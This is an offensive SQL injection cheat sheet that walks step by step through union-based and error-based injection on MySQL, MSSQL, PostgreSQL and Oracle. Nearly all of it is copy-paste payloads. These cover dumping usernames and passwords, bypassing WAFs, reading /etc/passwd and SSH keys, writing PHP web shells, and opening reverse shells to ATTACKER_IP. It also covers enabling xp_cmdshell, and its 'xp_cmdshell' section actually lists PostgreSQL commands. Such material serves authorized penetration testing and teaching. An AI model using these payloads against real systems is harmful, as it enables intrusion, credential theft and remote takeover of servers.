In-Band means the attack and data retrieval happen through the same HTTP channel — you see the results directly in the web page response. Two subtypes:
Union-Based — append a UNION SELECT to pull data from other tables into the original query’s result set
Error-Based — craft queries that force the database to include sensitive data inside an error message
When to use: The page must reflect query output (search results, product listings, user profiles). If the page doesn’t show data from the query → use Blind techniques instead.
📌 1) Union-Based — Step by Step
Step 1 — Confirm injection point
' OR '1'='1'-- → does page load differently?1 OR 1=1 → numeric context1' OR '1'='1 → string context
Step 2 — Find the number of columns (ORDER BY method)
Increment ORDER BY until you get an error. The last working number = column count.
?id=1 ORDER BY 1-- fine?id=1 ORDER BY 2-- fine?id=1 ORDER BY 3-- fine?id=1 ORDER BY 4-- ERROR → 3 columns
Step 3 — Confirm column count with NULL (alternative)
?id=0 UNION SELECT NULL-- error (1 col doesn't match)?id=0 UNION SELECT NULL,NULL-- error?id=0 UNION SELECT NULL,NULL,NULL-- no error → 3 columns
Use id=0 (or any non-existent ID) so the original query returns no rows — your UNION data appears cleanly.
Step 4 — Find printable (string) columns
Replace NULLs one at a time with a test string. Whichever position shows the string in the response = printable column.
-- Test each position?id=0 UNION SELECT 'INJECT',NULL,NULL--?id=0 UNION SELECT NULL,'INJECT',NULL--?id=0 UNION SELECT NULL,NULL,'INJECT'---- If column 2 shows "INJECT" in the response → column 2 is printable
Tip: If the site requires numeric columns, use CAST('INJECT' AS CHAR) or concatenate: 'INJ'||'ECT'
Step 5 — Extract database info
Swap ‘INJECT’ for real queries (always use a printable column):
-- MySQL?id=0 UNION SELECT NULL,database(),NULL-- → current database name?id=0 UNION SELECT NULL,user(),NULL-- → current DB user?id=0 UNION SELECT NULL,@@version,NULL-- → DB version?id=0 UNION SELECT NULL,@@hostname,NULL-- → server hostname-- MSSQL?id=0 UNION SELECT NULL,db_name(),NULL--?id=0 UNION SELECT NULL,system_user,NULL--?id=0 UNION SELECT NULL,@@version,NULL---- PostgreSQL?id=0 UNION SELECT NULL,current_database(),NULL--?id=0 UNION SELECT NULL,current_user,NULL--?id=0 UNION SELECT NULL,version(),NULL---- Oracle (must use FROM dual)?id=0 UNION SELECT NULL,user,NULL FROM dual--?id=0 UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1--
Step 6 — Enumerate databases
-- MySQL?id=0 UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata---- MSSQL?id=0 UNION SELECT NULL,name,NULL FROM master..sysdatabases---- PostgreSQL?id=0 UNION SELECT NULL,datname,NULL FROM pg_database---- Oracle?id=0 UNION SELECT NULL,owner,NULL FROM all_tables GROUP BY owner--
Step 7 — Enumerate tables
-- MySQL (tables in current DB)?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()---- MySQL (tables in specific DB / schema)?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='Users'---- MSSQL?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables--?id=0 UNION SELECT NULL,name,NULL FROM targetdb..sysobjects WHERE xtype='U'---- PostgreSQL?id=0 UNION SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname='public'---- Oracle?id=0 UNION SELECT NULL,table_name,NULL FROM all_tables WHERE owner='SCHEMA'--
String context (no leading ?id=0) — 6 columns, Users schema:
' UNION SELECT NULL,NULL,NULL,NULL,NULL,table_name FROM information_schema.tables WHERE table_schema='Users'-- -
Comment -- - (space + double dash + space + dash) is common when a trailing space is required after --.
Step 8 — Enumerate columns
-- MySQL / MSSQL / PostgreSQL?id=0 UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'---- All columns at once (MySQL)?id=0 UNION SELECT NULL,GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users'---- Oracle?id=0 UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--
Step 9 — Dump the data
-- Two columns into one (concat with separator)?id=0 UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users---- MySQL — single printable column, all rows merged (GROUP_CONCAT)?id=0 UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL FROM users---- MySQL — custom separator in group_concat (pipe between fields)?id=0 UNION SELECT NULL,GROUP_CONCAT(username,' | ',password),NULL FROM users.UserDetails---- MSSQL (+ concatenation)?id=0 UNION SELECT NULL,username+':'+password,NULL FROM users---- PostgreSQL (|| concatenation)?id=0 UNION SELECT NULL,username||':'||password,NULL FROM users---- Oracle?id=0 UNION SELECT NULL,username||':'||password,NULL FROM users--
Worked example — 6 columns, Users.UserDetails (full flow)
Step 2 ORDER BY 1..6 → 6 columns (error on ORDER BY 7)Step 3 UNION SELECT NULL×6 → no error confirms countStep 4 Replace col 6 with 'INJECT' → column 6 is printableStep 7 List tables in Users schema (see Step 7 above)Step 9 Dump credentials below
' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(username," | ",password) FROM users.UserDetails-- -
Piece
Why
5× NULL + 1 data column
Matches 6-column query; only column 6 displays
users.UserDetails
schema.table when DB user can read that schema
group_concat(...)
Merges all rows into one response (single-row pages)
-- Some DBs don't accept NULL in UNION — use empty strings?id=0 UNION SELECT '','data','3'--
INT columns where string fails
-- Cast to match expected type?id=0 UNION SELECT CAST(1 AS CHAR),username,CAST(3 AS CHAR) FROM users--
Result only shows one row
-- Use GROUP_CONCAT to merge all rows (MySQL)?id=0 UNION SELECT NULL,GROUP_CONCAT(username,':',password),NULL FROM users---- MSSQL — use FOR XML PATH?id=0 UNION SELECT NULL,(SELECT username+':'+password+' ' FROM users FOR XML PATH('')),NULL---- PostgreSQL — string_agg?id=0 UNION SELECT NULL,string_agg(username||':'||password, ', '),NULL FROM users--
URL-encoding issues
# Some chars need URL encoding in the URL bar-- → --%20 or --+# → %23' → %27space → + or %20
WAF bypasses
-- Case variationuNiOn SeLeCtUnIoN sElEcT-- Comment injectionUN/**/ION SE/**/LECTUNION/**/SELECT-- Double encoding%2527 (double-URL-encoded ')%00 (null byte — old PHP)-- Whitespace alternativesUNION%09SELECT (tab)UNION%0ASELECT (newline)UNION%0DSELECT (carriage return)-- Equivalent functionsMID() instead of SUBSTRING()IFNULL() instead of IF()
📌 3) Error-Based SQLi
Extract data through database error messages. The DB must show errors to the user.
MySQL — extractvalue() / updatexml()
-- extractvalue() — puts data in the error message?id=1 AND extractvalue(1,concat(0x7e,(SELECT version())))--?id=1 AND extractvalue(1,concat(0x7e,(SELECT database())))--?id=1 AND extractvalue(1,concat(0x7e,(SELECT user())))--?id=1 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))--?id=1 AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)))--?id=1 AND extractvalue(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1)))---- updatexml() — same principle?id=1 AND updatexml(1,concat(0x7e,(SELECT version())),1)--?id=1 AND updatexml(1,concat(0x7e,(SELECT database())),1)--?id=1 AND updatexml(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1)),1)--
0x7e = ~ tilde character — used as a delimiter so the data stands out in the error message.
MySQL — floor(rand()) double query
?id=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)---- With data?id=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT concat(username,':',password) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
MSSQL — convert/cast error
-- Force conversion error — data appears in message?id=1 AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--?id=1 AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))--?id=1 AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))---- Using @@version?id=1 AND 1=CONVERT(int,@@version)--?id=1 AND 1=CONVERT(int,db_name())--
PostgreSQL — cast error
?id=1 AND 1=CAST((SELECT version()) AS int)--?id=1 AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--?id=1 AND 1=(SELECT 1 FROM(SELECT CAST(current_user AS int))x)--
📌 4) File Read / Write (MySQL)
Requires FILE privilege for the DB user. Common when running as root in MySQL.
Read files
-- Read /etc/passwd?id=0 UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL---- Read web config files (find credentials)?id=0 UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL--?id=0 UNION SELECT NULL,LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf'),NULL--?id=0 UNION SELECT NULL,LOAD_FILE('/home/user/.ssh/id_rsa'),NULL---- Read Windows files?id=0 UNION SELECT NULL,LOAD_FILE('C:/Windows/win.ini'),NULL--?id=0 UNION SELECT NULL,LOAD_FILE('C:/xampp/htdocs/config.php'),NULL--
Write files — web shell
-- Write PHP web shell to webroot (must know webroot path)?id=0 UNION SELECT NULL,"<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'---- Full PHP reverse shell?id=0 UNION SELECT NULL,"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\"); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'---- Windows webroot (IIS + PHP)?id=0 UNION SELECT NULL,"<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE 'C:/inetpub/wwwroot/shell.php'---- Verify write was successfulcurl http://TARGET/shell.php?cmd=id
Copy file (LOAD_FILE → OUTFILE)
Read a file on disk and write it to a path you can reach (e.g. webroot or /tmp):
-- Direct SQLSELECT LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt') INTO OUTFILE '/TEMP/proof.txt';-- Via UNION SQLi (adjust column count)?id=0 UNION SELECT NULL,LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt'),NULL INTO OUTFILE '/TEMP/proof.txt'--
Tip: Check @@secure_file_priv — if not empty, MySQL can only write to that path.
?id=0 UNION SELECT NULL,@@secure_file_priv,NULL--
📌 5) MSSQL — xp_cmdshell (OS Command Execution)
When you have a MSSQL sa account or sysadmin role:
-- Execute command via COPY TO/FROM PROGRAM (PostgreSQL 9.3+)'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--'; COPY cmd_output FROM PROGRAM 'id'---- Create a helper table'; CREATE TABLE cmd_output(lines text)--'; COPY cmd_output FROM PROGRAM 'whoami'--'; SELECT * FROM cmd_output--
📌 Quick Cheat Sheet (Copy/Paste)
-- ─── COLUMN COUNT ─────────────────────────────────────────────?id=1 ORDER BY 1-- (increment until error)?id=0 UNION SELECT NULL,NULL,NULL-- (increment NULLs until no error)-- ─── PRINTABLE COLUMN FINDER ──────────────────────────────────?id=0 UNION SELECT 'INJECT',NULL,NULL--?id=0 UNION SELECT NULL,'INJECT',NULL--?id=0 UNION SELECT NULL,NULL,'INJECT'---- ─── DB INFO (MySQL, col 2 printable) ─────────────────────────?id=0 UNION SELECT NULL,database(),NULL--?id=0 UNION SELECT NULL,user(),NULL--?id=0 UNION SELECT NULL,@@version,NULL---- ─── ENUMERATE (MySQL) ────────────────────────────────────────-- All table names in current DB?id=0 UNION SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=database()---- All column names in users table?id=0 UNION SELECT NULL,GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users'---- Dump users?id=0 UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL FROM users---- 6 columns — schema.table + pipe separator (Users.UserDetails lab pattern)' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(username," | ",password) FROM users.UserDetails-- --- ─── ERROR-BASED (MySQL) ──────────────────────────────────────?id=1 AND extractvalue(1,concat(0x7e,(SELECT database())))--?id=1 AND updatexml(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1)),1)---- ─── ERROR-BASED (MSSQL) ──────────────────────────────────────?id=1 AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))---- ─── FILE WRITE (MySQL webshell) ──────────────────────────────?id=0 UNION SELECT NULL,"<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'---- ─── MSSQL RCE ────────────────────────────────────────────────'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--'; EXEC xp_cmdshell 'whoami'--